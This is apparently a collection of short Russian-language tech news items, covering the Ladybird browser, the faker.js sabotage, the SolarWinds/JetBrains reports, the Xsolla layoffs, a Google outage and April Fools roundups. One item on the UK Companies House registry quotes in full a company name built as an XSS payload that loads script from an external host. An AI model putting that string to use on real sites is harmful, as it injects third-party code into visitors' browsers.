Браузер Ladybird проходит тест Acid3 на 100 баллов. awesomekling.github.io

Андреас Клинг представил проект веб-браузера Ladybird. В новом браузере веб-страницы рендерит не какая-то версия открытых движков Gecko или Blink, а JavaScript обрабатывает не форк свободных SpiderMonkey или V8. Клинг построил кроссплатформенный браузер на основе движков LibWeb и LibJS из другого своего проекта — операционной системы SerenityOS.

Как браузер, так и его библиотеки написаны на языке C++ с участием библиотеки Qt. (Хотя у сообщества разработки SerenityOS в разработке находится язык программирования с безопасностью доступа к памяти Jakt, он ещё не готов к использованию в Ladybird.) Браузер Ladybird и компоненты его движка лицензированы под двухпунктной лицензией BSD, то есть допускается распространение, изменение и коммерческое (в том числе проприетарное) использование.

Рисунок Injustice художника Baysal

Пользователи пакетов faker.js и colors.js, зависимость от которых имеют тысячи проектов, заметили аномалии в работе. В коде пакетов появился бесконечный цикл, который нарушал нормальную работу программ и выводил бессмыленные данные в консоль. Изначальные предположения о компрометации доступа разработчика не подтвердились: эти изменения внёс сам автор. Его более ранние публикации позволяют говорить, что этот саботаж — проявление несогласия с коммерческим использованием его открытых проектов.

Впервые о продолжении линейки смартфонов Pixel компания Google заговорила ещё в августе. Уже тогда просочились данные, например, о размерах будущих смартфонов или камерах: 6,7 и 6,4 дюймов диагонали экрана, 50-мегапиксельный фотодатчик и 4-кратный зум.

Запуска в сентябре не случилось. На презентацию позвали лишь в начале октября.

Характеристики телефона известны неплохо, но посмотреть презентацию в 20:00 по Москве всё же есть смысл. Внутри этого поста находится текстовая трансляция события.

1 сентября 2021 года компания Microsoft фразой «вы приглашены» объявила о презентации. Три недели назад компания пообещала, что сегодня, 22 сентября, в 18:00 по московскому времени пройдёт некий Microsoft Event.

Дизайн страницы мероприятия, ожидания экспертов и утечки говорят, что сегодня Microsoft покажет обновления планшетов и ноутбуков линейки Surface и смартфон Surface Duo 2.

Внутри этого поста находится текстовая трансляция этого события.

Александр Агапитов. Фотография: Xsolla

Основатель и руководитель компании Xsolla Александр Агапитов рассказал «Форбсу» детали о массовом увольнении сотрудников в пермском офисе компании. Агапитов также ответил на вопросы всех желающих во время пресс-конференции в Google Meet.

Основатель Xsolla назвал основную причину увольнений: компания перестала показывать 40-процентный рост. Чтобы компенсировать подобное отставание, в компании решили «убрать» 10 % сотрудников с наименьшими зарплатами.

Сильнее всего сокращения коснулись пермского отделения, поскольку там зарплаты гораздо меньше (2000 долларов в месяц или ниже), чем в США. Под увольнение попали в том числе два баристы, двое хостес. Такую ситуацию Агапитов охарактеризировал следующим образом: «Кажется, что людей много, но это самые низкооплачиваемые люди, которые отсиживаются».

Увольнения коснулись в большей степени линейных сотрудников, а не топ-менеджеров.

Пользователи Twitter распространяют якобы скриншот сообщения от Александра Агапитова с припиской, что руководимая им компания Xsolla уволила 150 сотрудников своего офиса в Перми. Запросившие у Агапитова комментарии источники подтверждают достоверность произошедшего.

В сообщении Агапитов рассказывает, что команда больших данных проанализировала активность сотрудников в разнообразных рабочих инструментах — Jira, Confluence, почте Google, чатах, документах, разнообразных дашбордах. На основе этого был составлен список «невовлечённых и малопродуктивных сотрудников». Как говорит основатель Xsolla, это означает, что эти сотрудники не всегда присутствовали на рабочем месте во время удалённой работы.

Скриншот обрывается на начале перечисления получивших такой статус сотрудников. Всех из них компания увольняет, называя «отчисленными».

Корабль «Старлайнер» компании «Боинг» на ракете «Атлас-5» производства ULA. Фотография из микроблога ULA

Корпорация «Боинг» сообщила о переносе запуска своего космического корабля «Старлайнер». Как написал Тори Бруно, глава осуществляющей этот запуск компании ULA, корабль попробуют вывести на орбиту завтра.

Причина переноса — неожиданные показатели телеметрии двигательной установки космического корабля, которые инженеры «Боинга» выявили незадолго до запуска. Как отмечают источники, вчера в районе стартового комплекса прошёл шторм с молниями.

Сегодня в 02:21 по московскому времени компания SpaceX выполнила первую успешную посадку прототипа сверхтяжёлой ракеты Starship. Хотя при посадке аппарат не получил заметных на видео повреждений, через девять минут он взорвался. Отработка посадки прототипа необходима для повторного использования ступеней будущей ракеты Starship.

Американское издание «Нью-Йорк таймс» назвало JetBrains возможной «точкой входа» для взломов государственных и частных структур США. В изначальной версии статьи «Таймса» JetBrains описывают как «малоизвестную» российскую компанию с главным офисом в Чехии. Как утверждает статья «Уолл-стрит джорнэла», взломщики SolarWinds получили доступ к серверу TeamCity компании, поэтому часть подозрений пала на разработчика этого продукта. JetBrains отрицает причастность к взломам.

В середине декабря прошлого года фирма кибербезопасности FireEye опубликовала отчёт о взломе систем компании SolarWinds. Программу Orion последней используют по всему миру, в том числе во всех подразделениях вооружённых сил США, АНБ и госдепартаменте. Как утверждает отчёт FireEye, скомпрометированы обновления Orion с марта по июнь 2020 года — в них разместили бэкдор SUNBURST. В размещении бэкдора американские СМИ обвинили хакеров, работающих на Россию.

Как говорит новая статья в «Таймсе», американские агентства по разведке и частные исследователи кибербезопасности начали изучать роль JetBrains в крупном взломе компании SolarWinds. Затем статья поясняет, что среди клиентов «малоизвестной» фирмы 79 компаний из списка Fortune 100, а вообще софт JetBrains используют 300 тыс. организаций. Среди них оказалась SolarWinds, с которой и начался взлом.

Коллаж из уличного арта игры Cyberpunk 2077

Компания Sony Interactive Entertainment (SIE) пообещала игрокам вернуть деньги за покупку Cyberpunk 2077 в цифровом магазине PlayStation Store. Сама игра исчезла из магазина.

Мотивируя своё решение желанием обеспечить высокий уровень пользовательской удовлетворённости, SIE объявила об удалении Cyberpunk 2077 из магазина на неопределённый срок. На странице игры исчезла кнопка для добавления товара в корзину, дата выпуска продукта больше не указана. Остановка продаж не коснётся коробочного издания на физических носителях.

Возврат денег за купленную в PlayStation Store цифровую копию Cyberpunk 2077 происходит после заполнения заявки на специальной странице. Если покупатель хочет оставить игру на аккаунте, никаких действий предпринимать не нужно. Как обещает CD Projekt, как цифровая, так и физическая копии игры продолжат получать патчи.

Около 14:50 по московскому времени все сервисы Google отключились. Перестал открываться YouTube, не работала почта Gmail, невозможно было открыть документы в Google Docs. Сбой глобальный: он затрагивал пользователей по всему миру. На восстановление нормальной работы ушло более получаса.

Сам поиск на главной странице google.com работу не прекращал. При этом на нём пользователь оставался разлогинен — страница авторизации в Google тоже отключилась.

Собственная статусная страница Google какое-то время зелёными индикаторами утверждала, что якобы никаких неполадок нет, но около 15:15 МСК загорелась красным.

Причина отключения может быть связана со службой авторизации Gaia: сервисы продолжали открываться, когда пользователь не залогинен. YouTube работал в режиме браузера инкогнито. Также продолжали функционировать встроенные ролики на других сайтах.

9 декабря в магазине приложений Visual Studio Code Бен Авад опубликовал дополнение vsinder. Проект воссоздаёт в этом открытом редакторе исходного кода сервис знакомств Tinder, но с незначительными отличиями. Впечатление о незнакомце Авад предлагает составлять не на основе внешнего вида, а по фрагменту кода.

До этого Авад уже публиковал полушуточное дополнение для Visual Studio Code, которое добавляло в редактор истории (сторис).

Сравнение средней оценки ароматических свечей (выделено цветом) и свечей без запаха на Amazon.com. Пунктирная вертикальная линия показывает первый выявленный случай COVID-19 на территории США. График Washington Post.

Основной нейрологический симптом новой коронавирусной инфекции — это аносмия. Исследования показывают, что потеря обоняния предсказывает заболевание лучше, чем другие известные симптомы, к примеру, кашель или повышенная температура тела. Как и всё связанное с заболеванием, механизм, который заставляет терять способность различать запахи, исследован лишь частично. Но уже известно, что коронавирусная инфекция в большинстве случаев затрагивает не нейроны обоняния, а вспомогательные клетки, поэтому поражение не долгосрочное. Это могут подтвердить и сами переболевшие, которые постепенно вновь начинают чувствовать запахи.

Выпуск комикса XKCD 327 «Мамины эксплойты» в переводе xkcd.ru

20 октября некто Джим Уокер поделился на форуме разработчиков британского государственного реестра компаний Companies House интересным наблюдением. Companies House допускает в именах компаний символы < и >. Это открывает простор для атак на тех сайтах, которые не фильтруют и не экранируют управляющие символы корректным образом. Если сайт отображает название компании и не санитизирует данные, то он потенциально уязвим к XSS-атаке.

Уокер обнаружил, что 16 октября некий Майкл Джон Тэнди зарегистрировал компанию с названием "><SCRIPT SRC=HTTPS://MJT.XSS.HT></SCRIPT> LTD. Если XSS-фильтра нет, то такое имя компании внедряет на веб-страницу код, который вызывает внешний JavaScript.

Сегодня в 15:00 по московскому времени Роскомнадзор сообщил на своём сайте о решении снять ограничения доступа к мессенджеру Telegram. В качестве причины для этого названо «согласование с Генеральной прокуратурой РФ».

Telegram попал под блокировку 13 апреля 2018 года в результате судебного процесса. Роскомнадзор потребовал от мессенджера предоставить ФСБ ключи шифрования, но Telegram отказался. Представителей мессенджера на суде, на котором приняли решение о блокировке, не было.

Конфликт Роскомнадзора и Telegram начался ещё летом 2017 года из-за требования попасть в реестр организаторов распространения информации. Павел Дуров согласился зарегистрировать мессенджер в этом реестре, но лишь после просьб и угроз блокировки. Вскоре ФСБ запросила ключи шифрования для расследования теракта в метро Санкт-Петербурга 3 апреля 2017 года, в котором погибли 16 и пострадали 103 человека. В результате последовавшего отказа предоставить ключи, штрафа и месяцев судебного разбирательства мессенджер был заблокирован.

Этим утром, 16 июня, несколько небольших изданий и крупные социальные медиа рассказали о массивной атаке на интернет-инфраструктуру США. Более 200 DDoS-атак якобы положили сайты Instagram и Twitch, операторов связи T-Mobile и Verizon. Анонимные эксперты развернули мощную работу по установке источника атак: по их мнению, это Китай мстит за нестабильную ситуацию между Южной и Северной Кореей.

Другие сразу указали, что скриншоты карт показывают лишь недоступность, а не контекст происходящего. США лидируют на рынке хостинга, поэтому аномалия могла быть набором не связанных друг с другом кибератак против находящихся в американских дата-центрах веб-проектов.

Сооснователь и исполнительный директор компании Cloudflare Мэтью Принс рассказал, что реальная ситуация ещё проще. Cloudflare специализируется на услугах CDN и защиты от DDoS, но 15 июня никакого всплеска трафика или ошибок в компании не заметили. Графики объёма передаваемых данных на крупных точках обмена трафиком также рисовали картину типичного понедельника.

Первое апреля каждого года — международный день смеха. В этот день нельзя ничему верить, и каждый считает своим долгом разыграть окружающих. К примеру, телеканал может заявить, что макаронные изделия растут на деревьях, а радиостация попросит подпрыгнуть, потому что из-за расположения планет в 9:47 утра люди станут легче.

Не отстаёт от других медиаформатов и Интернет. Каждый год 1 апреля выходят анонсы заведомо невозможных или ненужных продуктов: порт веб-сервиса на 8-битную консоль или протокол доставки IP-пакетов почтовыми голубями.

Такая пандемия безудержного веселья может надоедать. В обычный, мало чем примечательный день приходится с недоверием относиться к любой громкой новости — а вдруг это всего лишь неудачная шутка? В этом году шутки особенно неуместны в связи с распространением коронавируса, поэтому крупные компании шутить будут вряд ли. Внутри этого поста самоизолирована обновляемая в течение дня текстовая трансляция шуток 1 апреля 2020 года.

17 февраля на Международной конференции по полупроводниковым интегральным микросхемам (International Solid-State Circuit Conference, ISSCC) французский институт CEA-Leti представил новый метод построения многоядерных процессоров. Чиплеты с несколькими ядрами объединяются в крупное устройство размещением их на специальной подложке с активными элементами.

Исследователи как описали теоретический задел для масштабирования системы до 512 ядер, так и подкрепили его 96-ядерным прототипом на 6 чиплетах. Институт назвал несколько достоинств своего решения.

На прошлой неделе компания Google опубликовала объявление о запланированном закрытии сервиса Cloud Print. Письма со сроками закрытия проекта также поступили администраторам G Suite.

Сервис Cloud Print закроется 31 декабря 2020 года. С 1 января 2021 года все устройства на любых операционных системах больше не смогут отсылать документы на печать через Google Cloud Print.

Первое апреля каждого года — это международный день смеха. Для нас это означает, что у сайтов внезапно появляются смешные редизайны, у приложений — шуточные функции, а кто-то создаёт уникальные эксперименты специально ради одного дня в году.

Конечно, кому-то такое надоедает. Некоторые сайты хотят напомнить о своём существовании, компании — мягко похвастаться положительными моментами в своих продуктах, проекты помельче просто рады любому упоминанию в СМИ и социальных медиа. Да, первое апреля предсказуемо, но всё же каждый раз может удивить.

Наиболее логичным будет локализовать очаг распространения безудержного веселья. Внутри этого поста находится обновляемая в течение дня трансляция первоапрельских шуток.